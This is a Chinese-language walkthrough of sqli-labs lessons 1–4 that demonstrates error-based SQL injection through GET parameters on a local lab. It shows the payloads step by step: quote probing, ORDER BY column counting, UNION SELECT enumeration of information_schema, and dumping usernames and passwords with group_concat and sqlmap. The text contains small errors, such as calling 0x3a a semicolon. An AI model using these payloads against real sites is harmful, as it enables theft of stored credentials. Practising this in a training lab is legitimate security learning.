基于GET报错的sql注入,sqli-lab 1~4
根據(jù)注入類型可將sql注入分為兩類:數(shù)字型和字符型
例如:
數(shù)字型: sleect * from table where if =用戶輸入id
字符型:select * from table where id ='用戶輸入id' (有引號(hào))
通過URL中修改對(duì)應(yīng)的D值,為正常數(shù)字,大數(shù)字,字符(單引號(hào),雙引號(hào),雙單引號(hào),括號(hào)),反斜杠\來探測(cè)URL中是否存在注入點(diǎn)。
另外-- (這里有一個(gè)空格,–空格)在SQL內(nèi)表示注釋,但在URL中,如果在最后加上-- ,瀏覽器在發(fā)送請(qǐng)求的時(shí)候會(huì)把URL末尾的空格舍去,所以我們用–+代替-- ,原因是+在URL被URL編碼后會(huì)變成空格。
sqli-lab less 1~4基于報(bào)錯(cuò)的sql注入:
- less1 GET - Error based - Single quotes - String
1.輸入id值嘗試報(bào)錯(cuò)點(diǎn): ?id=數(shù)字
發(fā)現(xiàn)在id值為1~14可以正常返回
2.在id值(任意可以正常返回的id值)后添加單引號(hào),發(fā)現(xiàn)報(bào)錯(cuò),可能存在sql字符注入,
可以得到,報(bào)錯(cuò)的sql語句為'14'' LIMIT 0,1,輸入的引號(hào)閉合了id的前引號(hào)
猜測(cè)原sql語句為: select login_name,password from admin where id = 'id' limit 0,1+
3.利用order by 判斷有幾列數(shù)據(jù)
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ order by 3 --+
修改order by 后的值可發(fā)現(xiàn)1~3回顯正常,order by 4 回顯不正常,表示表有三列
4.使用union select statement : http://127.0.0.1/sqli-labs-master/Less-1/?id=15’ UNION SELECT 1,2,3 --+
查看顯示位,輸出2和3說明有兩個(gè)顯示位
5.利用union select 聯(lián)合查詢,獲取表名
0’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
6.利用union select 聯(lián)合查詢,查看users表下的列名:
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
7.利用union select 聯(lián)合查詢,查看username,password表下的字段值
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1,group_concat(username,0x3a,password),3 from users–+
(0x3a表示分號(hào))
得到所有的username和password
以上為手工注入過程,用sqlmap工具會(huì)更加方便快捷:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbs python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security --tables python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users -C username,password --dump
得到username和password
less2.GET-Error based-intiger based
和less1基本相同
less3 : Get-errsr based-single quotes with twist-string
id=1’ --+回顯不正常
id=1’) --+回顯正常
說明是字符型注入
語句與less1 相同
-less4 : Get- error bassed - Double Quotes - string
id=1" 用雙引號(hào)回顯不正常
id=1’ 和 id=1’) 都回顯正常
可推測(cè)語句為 (id=“1”)
是("")雙引號(hào)閉合型
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") --+ 回顯正常
之后使用union select 聯(lián)合查詢
顯示列名,表明字段
參考:
https://blog.csdn.net/sdb5858874/article/details/80727555
https://www.bilibili.com/video/BV1Q54y1D7VV?p=4
總結(jié)
以上是生活随笔為你收集整理的基于GET报错的sql注入,sqli-lab 1~4的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 汇来米收款码申请需什么材料
- 下一篇: 投资债券有风险吗 只要是投资都是有风险的